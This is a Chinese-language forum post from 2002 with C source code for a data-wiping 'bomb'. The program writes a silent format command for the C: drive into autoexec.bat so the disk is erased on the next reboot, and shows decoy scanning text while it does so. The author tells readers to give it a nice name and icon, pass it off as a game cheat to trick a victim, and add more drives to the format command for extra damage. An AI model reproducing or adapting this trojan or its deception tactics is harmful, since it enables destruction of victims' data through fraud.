puzzle_man
著名写手
著名写手
  • 铜币9枚
  • 威望1点
  • 贡献值0点
  • 社区居民
阅读:292回复:0

用C语言编写的格式化硬盘的炸弹

楼主#
更多 发布于:2002-12-25 19:45
  用C语言编写的格式化硬盘的炸弹
  看过<<格式化硬盘的炸弹>>的文章后,突发奇想,感到这个炸弹好是很好,但是他的图表过于突出而且很不容易更改,样子怪怪的,不易让人上当。我这里编了一个用C编写的累似炸弹,它运行后不是立刻格式化,而是把格式化的命令写入autoexec.bat自动执行批处理文件,可以格式化整个硬盘(只要你狠),而且还可以在运行的画面上显现迷惑对方的文字。具体代码如下:
#include<stdio.h>
main()
{
FILE*fp;
char filename[30]="c:\\autoexec.bat",filecontent[100]="c:\\windows\\command\\format c:/q/autotest/u";
if((fp=fopen(filename,"w"))==NULL)
printf("cannot open filename\n");
fputs(filecontent,fp);
printf("现在正在扫描你的计算机:\n正在加装外挂:");
fclose(fp);
}

以上代码在vc++6.0和tc2.0上运行通过,程序中的中文你可以自己随意编写。编译通过后,你只要把这个可执行程序加上一个漂亮的名字和一个图标,骗对方运行就可以了,比如我这个程序仿的是一个外挂。我把这个程序在我的电脑上运行,运行后窗口中立刻显现程序中的中文,在AUTOEXEC.BAT上加入了“c:\windows\command\format c:/q/autoexec/u"这段文字。经本人试验,重新开机后就把C盘全格了(如果你狠的话,在format c:后可以加上"d:e:f:g:"那对方可惨了,非常好用。不给一点提示。最后你不要告诉我你不会C,哈哈!不会吧!注意:以上程序只适合98,不适用于2000和XP。


-------------------- 一个人的尊严和人格是绝对神圣而不可侵犯的。
如若有歹人敢亵渎之,则必以天赋之自卫权利以应之!   -----【精武英雄】



不论我们在BBS上如何风华一时,最终我们还是要回到现实。结果我们失去的是青春的时光,新鲜的美丽,锋芒毕露的才气,聪慧伶俐的自信,陌生人的捧场,新相识的快乐。最终慰籍我们的总是“草草杯盘共一欢,昏昏灯火话平生”的——寻常故人,寻常人生。[/b]
游客

返回顶部